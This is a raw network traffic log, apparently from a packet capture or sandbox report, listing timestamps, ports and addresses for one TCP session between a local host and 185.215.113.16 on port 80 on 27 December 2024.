Dec 27, 2024 15:01:12.057709932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.057722092 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.057770967 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.058630943 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.058692932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.058734894 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.059705019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.059801102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.059900045 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.060817003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.060861111 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.060905933 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.061749935 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.061850071 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.061933041 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.062890053 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.062961102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.063003063 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.063975096 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.064032078 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.064070940 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.064939976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.065155029 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.065192938 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.066080093 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.066220045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.066263914 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.066979885 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.067145109 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.067213058 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.068072081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.068201065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.068244934 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.069140911 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.069269896 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.069314957 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.070173025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.070379019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.070437908 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.071325064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.071422100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.071460962 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.072263002 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.072396040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.072437048 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.073362112 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.073555946 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.073597908 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.074368000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.074512005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.074551105 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.075424910 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.075562000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.075604916 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.076471090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.076618910 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.076656103 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.077555895 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.077685118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.077727079 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.078607082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.078625917 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.078671932 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.079670906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.079793930 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.079834938 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.080662012 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.080737114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.080776930 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.081759930 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.082071066 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.082113981 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.082781076 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.083070040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.083122969 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.083842993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.084266901 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.084306002 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.084858894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.085102081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.085143089 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.085974932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.086328983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.086369991 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.086975098 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.087153912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.087188959 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.088023901 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.088152885 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.088187933 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.089173079 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.089204073 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.089250088 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.090120077 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.090276003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.090317965 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.091211081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.091296911 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.091341972 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.092257023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.092314005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.092355967 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.093261003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.140060902 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.230851889 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.230874062 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.230940104 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.231326103 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.231338024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.231384993 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.232218981 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.232299089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.232342005 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.233365059 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.233509064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.233542919 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.234375000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.234471083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.234505892 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.235361099 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.236383915 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.236396074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.236419916 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.237183094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.237219095 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.237596035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.237607956 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.237641096 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.238735914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.238749981 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.238794088 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.240463018 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.240468025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.240506887 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.240911007 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.240964890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.241004944 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.241822004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.241957903 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.241997004 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.243016005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.243029118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.243058920 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.243799925 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.243951082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.243992090 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.244904041 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.244915009 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.244970083 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.246002913 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.246015072 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.246051073 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.247087955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.247101068 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.247152090 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.247982979 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.247993946 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.248040915 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.249119997 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.249125957 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.249162912 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.250200987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.250214100 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.250250101 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.251348019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.251743078 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.251777887 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.252309084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.252321005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.252357006 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.253345966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.253359079 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.253403902 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.254399061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.254414082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.254457951 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.255405903 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.255631924 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.255669117 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.256584883 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.256598949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.256643057 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.257571936 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.257585049 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.257627010 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.258462906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.258847952 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.258888960 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.259736061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.259748936 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.259778023 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.260689020 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.260740042 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.260780096 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.261749029 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.261760950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.261814117 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.262782097 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.262794971 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.262846947 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.263830900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.263843060 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.263885021 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.264890909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.264904022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.264949083 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.265935898 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.265949011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.265995026 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.266994953 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.267009974 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.267050028 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.268011093 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.268024921 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.268069983 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.269104004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.269115925 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.269160032 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.270159006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.270172119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.270215988 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.271100044 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.271111012 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.271136045 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.272241116 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.272253036 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.272279024 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.273312092 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.273324966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.273401022 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.274364948 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.274378061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.274410009 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.275374889 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.275500059 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.275538921 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.276468992 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.276480913 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.276525021 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.277472019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.277483940 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.277569056 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.278475046 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.278527021 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.278574944 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.279624939 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.279676914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.279716969 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.280656099 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.280800104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.280837059 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.281685114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.281766891 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.281797886 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.282615900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.282793045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.282833099 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.283718109 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.284022093 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.284061909 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.284792900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.284852028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.284885883 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.285737991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.327570915 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.422827005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.422904015 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.422982931 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.423290014 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.423362970 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.423409939 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.424274921 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.424429893 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.424475908 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.425363064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.425456047 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.425503016 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.426377058 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.426484108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.426536083 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.427486897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.427612066 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.427654028 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.428510904 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.428610086 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.428653955 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.429601908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.429677963 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.429719925 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.430617094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.430735111 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.430898905 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.431674004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.431797981 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.431839943 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.432713985 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.432874918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.432914972 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.433780909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.434086084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.434129000 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.434928894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.434945107 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.434990883 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.435861111 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.435935974 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.435990095 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.436924934 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.436999083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.437036991 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.437988043 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.438250065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.438291073 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.438999891 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.439358950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.439399004 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.440119028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.440387964 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.440428019 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.441169977 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.441184044 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.441220999 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.442245007 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.442257881 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.442301035 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.443340063 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.443353891 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.443388939 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.444363117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.444376945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.444427013 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.445395947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.445410013 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.445445061 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.446542025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.446763992 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.446804047 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:12.447419882 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.447508097 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:12.447546959 CET	49731	80	192.168.2.5	185.215.113.16
